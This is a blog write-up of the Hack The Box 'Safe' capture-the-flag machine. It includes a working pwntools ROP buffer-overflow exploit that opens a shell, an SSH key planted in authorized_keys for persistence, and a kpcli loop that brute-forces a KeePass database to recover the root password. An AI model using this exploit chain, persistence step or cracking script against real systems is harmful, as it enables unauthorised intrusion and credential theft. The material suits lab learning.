Hackthebox – Safe

As with any machine we start with a full port scan.

root@kalivm:~/Safe# nmap -sT -p 1-65535 -oN fullscan_tcp 10.10.10.147
Starting Nmap 7.80 ( https://nmap.org ) at 2019-09-01 08:07 CEST
Host is up (0.015s latency).
Not shown: 65532 closed ports
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
1337/tcp open  waste

# Nmap done: 1 IP address (1 host up) scanned in 21.98 seconds

Apparently ports 22, 80 and 1337 are open. On port 80, a default apache installation page is displayed.

Upon further investigation of the source, a reference is found to the myapp binary which apparently is served on the open port 1337 and can be downloaded on the server’s /myapp location.

When opening the myapp application on port 1337, we are presented with the following text

After researching the downloaded myapp application, I found this CTF101.org page about Return Oriented Programming or ROP. Apparently this is a Buffer Overflow based challenge.

The buffer overflow

In the past, I have only done a Buffer Overflow once before during my OSCP journey and it was on a 32-bit system. This link was about 64-bit so I needed to get a better understanding about Buffer Overflows on 64-bit architecture, I started reading up and watching a number of video’s including ippsec’s bitterman video and this very nice PWNtools ROP video. Also I’ve invested some time in working through various write-ups of the ROP Emporium challenges. So the first step is determine where the actual overflow occurs, how big the buffer is that we need!

root@kalivm:~/Safe# gdb ./myapp
GNU gdb (Debian 8.3-1) 8.3
Copyright (C) 2019 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
    <http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from ./myapp...
(No debugging symbols found in ./myapp)
gdb-peda$ r
Starting program: /root/Safe/myapp 
[Detaching after fork from child process 15690]
 09:06:23 up 7 days, 15:08,  1 user,  load average: 0.17, 0.15, 0.12

What do you want me to echo back? AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
RAX: 0x0 
RBX: 0x0 
RCX: 0x7ffff7eb8504 (<__GI___libc_write+20>:	cmp    rax,0xfffffffffffff000)
RDX: 0x7ffff7f8b8c0 --> 0x0 
RSI: 0x405260 ('A' <repeats 200 times>...)
RDI: 0x0 
RBP: 0x4141414141414141 ('AAAAAAAA')
RSP: 0x7fffffffe158 ('A' <repeats 200 times>...)
RIP: 0x4011ac (<main+77>:	ret)
R8 : 0xfffffffffffffff0 
R9 : 0x7fffffffe100 ('A' <repeats 200 times>...)
R10: 0x405454 --> 0xa ('\n')
R11: 0x246 
R12: 0x401070 (<_start>:	xor    ebp,ebp)
R13: 0x7fffffffe230 ('A' <repeats 164 times>)
R14: 0x0 
R15: 0x0
EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x4011a1 <main+66>:	call   0x401030 <puts@plt>
   0x4011a6 <main+71>:	mov    eax,0x0
   0x4011ab <main+76>:	leave  
=> 0x4011ac <main+77>:	ret    
   0x4011ad:	nop    DWORD PTR [rax]
   0x4011b0 <__libc_csu_init>:	push   r15
   0x4011b2 <__libc_csu_init+2>:	mov    r15,rdx
   0x4011b5 <__libc_csu_init+5>:	push   r14
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe158 ('A' <repeats 200 times>...)
0008| 0x7fffffffe160 ('A' <repeats 200 times>...)
0016| 0x7fffffffe168 ('A' <repeats 200 times>...)
0024| 0x7fffffffe170 ('A' <repeats 200 times>...)
0032| 0x7fffffffe178 ('A' <repeats 200 times>...)
0040| 0x7fffffffe180 ('A' <repeats 200 times>...)
0048| 0x7fffffffe188 ('A' <repeats 200 times>...)
0056| 0x7fffffffe190 ('A' <repeats 200 times>...)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x00000000004011ac in main ()

Okay, so a buffer of 500 A’s actually crashes the program. Time to determine where it actually crashes by using a pattern. Fortunately this was something I still remembered from my OSCP Journey so that was the easy part!

gdb-peda$ pattern create 500
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%yA%zAs%AssAsBAs$AsnAsCAs-As(AsDAs;As)AsEAsaAs0AsFAsbAs1AsGAscAs2AsHAsdAs3AsIAseAs4AsJAsfAs5AsKAsgAs6A'
gdb-peda$ r
Starting program: /root/Safe/myapp 
[Detaching after fork from child process 15644]
 09:03:43 up 7 days, 15:05,  1 user,  load average: 0.31, 0.17, 0.12

What do you want me to echo back? AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%y
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%y

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
RAX: 0x0 
RBX: 0x0 
RCX: 0x7ffff7eb8504 (<__GI___libc_write+20>:	cmp    rax,0xfffffffffffff000)
RDX: 0x7ffff7f8b8c0 --> 0x0 
RSI: 0x405260 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA"...)
RDI: 0x0 
RBP: 0x41414e4141384141 ('AA8AANAA')
RSP: 0x7fffffffe158 ("jAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA"...)
RIP: 0x4011ac (<main+77>:	ret)
R8 : 0xfffffffffffffff0 
R9 : 0x7fffffffe0e0 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA"...)
R10: 0x4053f0 --> 0xa ('\n')
R11: 0x246 
R12: 0x401070 (<_start>:	xor    ebp,ebp)
R13: 0x7fffffffe230 ("lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%y")
R14: 0x0 
R15: 0x0
EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x4011a1 <main+66>:	call   0x401030 <puts@plt>
   0x4011a6 <main+71>:	mov    eax,0x0
   0x4011ab <main+76>:	leave  
=> 0x4011ac <main+77>:	ret    
   0x4011ad:	nop    DWORD PTR [rax]
   0x4011b0 <__libc_csu_init>:	push   r15
   0x4011b2 <__libc_csu_init+2>:	mov    r15,rdx
   0x4011b5 <__libc_csu_init+5>:	push   r14
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe158 ("jAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA"...)
0008| 0x7fffffffe160 ("AkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%O"...)
0016| 0x7fffffffe168 ("AAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%"...)
0024| 0x7fffffffe170 ("RAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA"...)
0032| 0x7fffffffe178 ("ApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%S"...)
0040| 0x7fffffffe180 ("AAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%"...)
0048| 0x7fffffffe188 ("VAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA"...)
0056| 0x7fffffffe190 ("AuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%W"...)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x00000000004011ac in main ()

So it crashes with value ‘AA8AANAA’ in memory, lets determine where that actually is.

gdb-peda$ x/xg $rsp
0x7fffffffe158:	0x414f41413941416a
gdb-peda$ pattern offset 0x414f41413941416a
4706051884014715242 found at offset: 120

So the exact offset of the stackpointer overflow is at 120! This is something we can work with. After some research about PWNTools and the walk-troughs of ROP Emporium I already had a bit of a skeleton BO app ready.

#!/usr/bin/env python
from pwn import *

# Set up pwntools to work with this binary
elf = ELF('myapp')

# Send the payload
io = process(elf.path)
payload = "A"*120

io.sendline(payload)

io.recvall()

Which causes exactly what we just did in gdb.

root@kalivm:~/Safe# ./pwnROP.py 
[*] '/root/Safe/myapp'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[+] Starting local process '/root/Safe/myapp': pid 3811
[+] Receiving all data: Done (226B)
[*] Process '/root/Safe/myapp' stopped with exit code -11 (SIGSEGV) (pid 3811)

The buffer overflow to trigger and the application to die with a SIGSEGV (Segmentation Fault) error. Now after a lot of messing around with this stuff, I appeared not to get any further so I asked for some guidance on a next step. Someone on Discord pointed me in the direction of further analysis of the myapp binary because that should contain all the functions that are required for the ROP chain and Buffer Overflow to work. So I opened it up in Radare and tried to look at the functions present.

root@kalivm:~/Safe# r2 myapp 
[0x00401070]> aaaa 
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze function calls (aac)
[x] Analyze len bytes of instructions for references (aar)
[x] Constructing a function name for fcn.* and sym.func.* functions (aan)
[x] Enable constraint types analysis for variables
[0x00401070]>afl
0x00401000    3 23           sym._init
0x00401030    1 6            sym.imp.puts
0x00401040    1 6            sym.imp.system
0x00401050    1 6            sym.imp.printf
0x00401060    1 6            sym.imp.gets
0x00401070    1 43           entry0
0x004010a0    1 1            sym._dl_relocate_static_pie
0x004010b0    4 33   -> 31   sym.deregister_tm_clones
0x004010e0    4 49           sym.register_tm_clones
0x00401120    3 33   -> 28   sym.__do_global_dtors_aux
0x00401150    1 2            entry.init0
0x00401152    1 10           sym.test
0x0040115f    1 78           sym.main
0x004011b0    3 93   -> 84   sym.__libc_csu_init
0x00401210    1 1            sym.__libc_csu_fini
0x00401214    1 9            sym._fini

The functions within the application itself that could be put there by the developer were the test() and main(). In addition, what was interesting was the presence of a system() call, since normally that would be called from an outside library (libc). The only reason I could think of why it is present here, is because we have to exploit it. After all, HTB is a mix between real-life vulnerabilities and CTF-like ones. Looking at the three functions, some things were confirming this train of thought.

[0x00401070]> pdf @sym.main
            ;-- main:
/ (fcn) sym.main 78
|   sym.main (int argc, char **argv, char **envp);
|           ; var int local_70h @ rbp-0x70
|           ; DATA XREF from entry0 (0x40108d)
|           0x0040115f      55             push rbp
|           0x00401160      4889e5         mov rbp, rsp
|           0x00401163      4883ec70       sub rsp, 0x70               ; 'p'
|           0x00401167      488d3d9a0e00.  lea rdi, qword str.usr_bin_uptime ; 0x402008 ; "/usr/bin/uptime"
|           0x0040116e      e8cdfeffff     call sym.imp.system         ; int system(const char *string)
|           0x00401173      488d3d9e0e00.  lea rdi, qword str.What_do_you_want_me_to_echo_back ; 0x402018 ; "\nWhat do you want me to echo back? "
----snip---

The main() function calls the system function to print the results of the /usr/bin/uptime command.

[0x00401070]> pdf @sym.test
/ (fcn) sym.test 10
|   sym.test ();
|           0x00401152      55             push rbp
|           0x00401153      4889e5         mov rbp, rsp
|           0x00401156      4889e7         mov rdi, rsp
\           0x00401159      41ffe5         jmp r13

The test() function however, appears to contain a jmp r13 instruction, a jump to the register of which we already determined to have control over! Since these locations may be useful, we add them to our python script.

#!/usr/bin/env python
from pwn import *

# Set up pwntools to work with this binary
elf = ELF('myapp')

# system() and test() memory locations
system = p64(elf.symbols.plt.system)
test = p64(elf.symbols.test)

# Send the payload
io = process(elf.path)
payload = "A"*120

io.sendline(payload)

io.recvall()

Since we want to write the system() call’s memory location into the R13 register, we have to find a way to tell the system to store the information into the right Registers.  This can be done using a pop instruction. Using the ROPgadget tool we can actually locate these instructions and their memory location.

root@kalivm:~/Safe# ROPgadget --binary myapp |grep r13
0x00000000004011ee : mov edi, r13d ; call qword ptr [r12 + rbx*8]
0x0000000000401204 : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000401206 : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000401203 : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000401205 : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret

So the gadget that we want to use, is the gadget located at memory location 401206, we add that, and the required values to our python script.

# Gadget pop r13 r14, r15, ret
gadget = p64(0x0000000000401206)

# Send the payload
io = process(elf.path)
payload = "A"*120 # Fill the buffer until the overflow
payload += gadget # The memory location for the pop r13, r14, r15 and Return
payload += system # The memory location of the system() Call, to be stored in R13
payload += p64(0x00) # A null-byte to occupy the R14 register
payload += p64(0x00) # A null-byte to occupy the R15 register
payload += test # Our jmp back to R13, to execute the system() command!

Since immediately after R13, R14 and R15 are filled too, we need to provide values for those to be put there. In the first output of peda we’ve seen them being filled with a null-byte so that might just be enough. Next thing we run it and…

root@kalivm:~/Safe# ./pwnROP.py 
[*] '/root/Safe/myapp'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[+] Starting local process '/root/Safe/myapp': pid 2207
[*] Switching to interactive mode
 08:26:15 up 9 days, 14:28,  8 users,  load average: 3.93, 3.89, 3.94

What do you want me to echo back? AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x06\x12@
sh: 1: AAAAAAAA: not found
[*] Got EOF while reading in interactive

Apparently, ‘sh’ gets AAAAAAA pushed, a part of our buffer? Trying it again, but with a pattern buffer, we see the following:

What do you want me to echo back? AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAA\x06\x12@
sh: 1: AA8AANAA: not found

This is a pattern we’ve seen before, in RBP, so apparently it pushes those 8 bits to the system() Call! That is something we can use!

root@kalivm:~/Safe# cat pwnROP.py 
#!/usr/bin/env python
from pwn import *

# Set up pwntools to work with this binary
elf = ELF('myapp')

# system() and test() memory locations
system = p64(elf.symbols.plt.system)
test = p64(elf.symbols.test)

# Gadget pop r13 r14, r15, ret
gadget = p64(0x0000000000401206)

# Send the payload
io = process(elf.path)
payload = "A"*112 + "/bin/sh " 
payload += gadget # The memory location for the pop r13, r14, r15 and Return
payload += system # The memory location of the system() Call, to be stored in R13
payload += p64(0x00) # A null-byte to occupy the R14 register
payload += p64(0x00) # A null-byte to occupy the R15 register
payload += test # Our jmp back to R13, to execute the system() command!

io.sendline(payload)

io.interactive()

root@kalivm:~/Safe# ./pwnROP.py 
[*] '/root/Safe/myapp'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[+] Starting local process '/root/Safe/myapp': pid 2453
[*] Switching to interactive mode
 08:31:03 up 9 days, 14:32,  8 users,  load average: 4.13, 3.88, 3.92

What do you want me to echo back? AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/bin/sh \x06\x12@
$ uname -a
Linux kalivm 5.2.0-kali2-amd64 #1 SMP Debian 5.2.9-1kali2 (2019-08-20) x86_64 GNU/Linux

After modifying the python code one last time, making the buffer 8 characters shorter and adding “/bin/sh ” to it, we get a local shell! Now all we have to do is modify it once more for connecting to the remote system, the pwnTools documentation has a very nice and simple example of that, so we try it.

#!/usr/bin/env python
from pwn import *

# Set up pwntools to work with this binary
elf = ELF('myapp')

# system() and test() memory locations
system = p64(elf.symbols.plt.system)
test = p64(elf.symbols.test)

# Gadget pop r13 r14, r15, ret
gadget = p64(0x0000000000401206)

# Send the payload
#io = process(elf.path)
io = remote('10.10.10.147', 1337)
payload += gadget # The memory location for the pop r13, r14, r15 and Return
payload += system # The memory location of the system() Call, to be stored in R13
payload += p64(0x00) # A null-byte to occupy the R14 register
payload += p64(0x00) # A null-byte to occupy the R15 register
payload += test # Our jmp back to R13, to execute the system() command!

io.sendline(payload)

io.interactive()

And then run the ROP-based Buffer Overflow on Safe.

root@kalivm:~/Safe# ./pwnROP.py
[*] '/root/Safe/myapp'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[+] Opening connection to 10.10.10.147 on port 1337: Done
[*] Switching to interactive mode
 11:49:27 up 21 min,  1 user,  load average: 0.08, 0.03, 0.01
$ uname -a
Linux safe 4.9.0-9-amd64 #1 SMP Debian 4.9.168-1 (2019-04-12) x86_64 GNU/Linux

YES! We’ve got a shell on Safe! Took a lot longer than anticipated for an ‘easy’ machine, but hey, we are there finally! Lets have a look at the machine’s User Flag!

$ cd /home
$ ls
user
$ cd user
$ ls
IMG_0545.JPG
IMG_0546.JPG
IMG_0547.JPG
IMG_0548.JPG
IMG_0552.JPG
IMG_0553.JPG
myapp
MyPasswords.kdbx
user.txt
$ cat user.txt
7a29ee9<NOFLAG>013d4bf01fd127690

So we’ve got the user key!

Privilege escalation

This Buffer OverFlow’ed shell is way too limited for decent privilege escalation so let’s copy an ssh public key to the machine!

$ echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDEeeLMdc3XONPWnLR8ykdfDUTl0TTdeVuEc/ZUt5mjnufpi92vUcN/20DzTGYQMQ3IEdQP+0t0Mx044InuBJDas/3Ys8GASUFE5n7YRKOt9KuPEVu3OYAbCG6TqlMoFaMJAzwXIhZO0q45bf0zDoSOoRcE9sRtVnkEgqyXYRapVBp383xp4tJmSZ5dL4htH0FIjhOZgZh9Tl3ZFPYikqH/zu4K1iNmGSRkRStZQImOoKKpRnInfbjnJAm8r29lhjNGCA5fWc2sg95Q6fDTQlGbVh7yZXw+6reMQZfGB63f4toUh/X+vP6ikz1vJsNoxg67kyIoVDJAbONMdaukxxc+yqxcO0N0km3BaFABKj6XawDMXs3ZDKEeEXqEll/6iHQjPLdWISDmgLoVOcsuOInDRzZXiq10VzEjMrYYF9GrN9LY4jY0IZSGMknxuYsGag0YJq+lYuty4bIEzv438ow7O+FFH77kcIjYJ8LFxY1XHvCDwpsKnx+PM3yKhBFpU0c= root@kalivm" >> .ssh/authorized_keys

By copying the ssh key, we obviously have easier access now and are able to login using SSH.

root@kalivm:~/Safe# ssh -i Safe_SSH_Key user@10.10.10.147
Linux safe 4.9.0-9-amd64 #1 SMP Debian 4.9.168-1 (2019-04-12) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Thu Sep  5 11:46:51 2019 from 10.10.16.59
user@safe:~$ ls
IMG_0545.JPG  IMG_0546.JPG  IMG_0547.JPG  IMG_0548.JPG  IMG_0552.JPG  IMG_0553.JPG  myapp  MyPasswords.kdbx  user.txt

With these files, it became quite obvious that we have to do something with the MyPasswords.kdbx file. However after looking at the HTB forums again, it was mentioned that simply cracking the password would not be enough, but that ‘all you need is right there in the home directory’. Having used Keepass before for a long time, this could imply that one of the files is the additional ‘key’ file for the Keepass database. So I googled for a ‘simple solution’ and found this script for brute-forcing a keepass database with use of kpcli. Since the database requires a key-file, I altered the script a bit to this.

#!/bin/sh
while read i
do
    echo "Using password: \"$i\" and keyfile \"$2\""
    echo "$i" | kpcli --kdb=$1 --key=$2 && exit 0
done < $3

And ran it for quite some time until….

root@kalivm:~/userdir# for file in `ls *.JPG`; do ./crackme.sh MyPasswords.kdbx $file /usr/share/wordlists/rockyou.txt ; done
Using password: "123456" and keyfile "IMG_0545.JPG"
Please provide the master password: *************************
Couldn't load the file MyPasswords.kdbx: The database key appears invalid or else the database is corrupt.
Using password: "12345" and keyfile "IMG_0545.JPG"
Please provide the master password: *************************
Couldn't load the file MyPasswords.kdbx: The database key appears invalid or else the database is corrupt.
Using password: "bullshit" and keyfile "IMG_0547.JPG"
Please provide the master password: *************************

KeePass CLI (kpcli) v3.1 is ready for operation.
Type 'help' for a description of available commands.
Type 'help ' for details on individual commands.

kpcli:/> 

Yes, we’re in with the password ‘bullshit’ and the keyfile IMG_0547.JPG. Lets look around and see what we’ve actually found.

kpcli:/> ls
=== Groups ===
MyPasswords/
kpcli:/> cd MyPasswords/
kpcli:/> ls
=== Groups ===
eMail/
General/
Homebanking/
Internet/
Network/
Recycle Bin/
Windows/
=== Entries ===
0. Root password                                                          
kpcli:/MyPasswords> show -f 0

Title: Root password
Uname: root
 Pass: u3v2249dl9ptv465cogl3cnpo3fyhk
  URL: 
Notes:

The root password, could it be that ‘simple’? I guess it is!

user@safe:~$ su -
Password: 
root@safe:~# ls
root.txt
root@safe:~# cat root.txt 
d7af235e<NOFLAG>59d2b99a6d1d5453

4 thoughts on “Hackthebox – Safe

  • February 11, 2020 at 13:18
    Permalink

    Hi when I run ‘gdb ./myapp’ I get the error code 126 and permission denied to /root/Desktop/myapp. Any idea why please?

    Reply
  • February 11, 2020 at 14:51
    Permalink

    Also when asked what you want echoed back how did you know to put all the A’s?

    Reply
    • February 18, 2020 at 07:28
      Permalink

      Basically putting all A’s is just a way to see what’s happening in memory. You see the registers get filled with 0x41 values. It could’ve been all B’s (0x42) just alike, as long as you know what you put there, so you know what to search for. After you’ve done that, you set a specific pattern, just to see where the base offset is in memory (which is where you see AA8AANAA being the response)

  • February 11, 2020 at 15:18
    Permalink

    okay ive fixed the issue and understand why you put the A’s but a little stuck on where to go from here ive done a info registers so I guess I analyse the assembly language here correct?

    Reply

Leave a Reply

Your email address will not be published.

This site uses Akismet to reduce spam. Learn how your comment data is processed.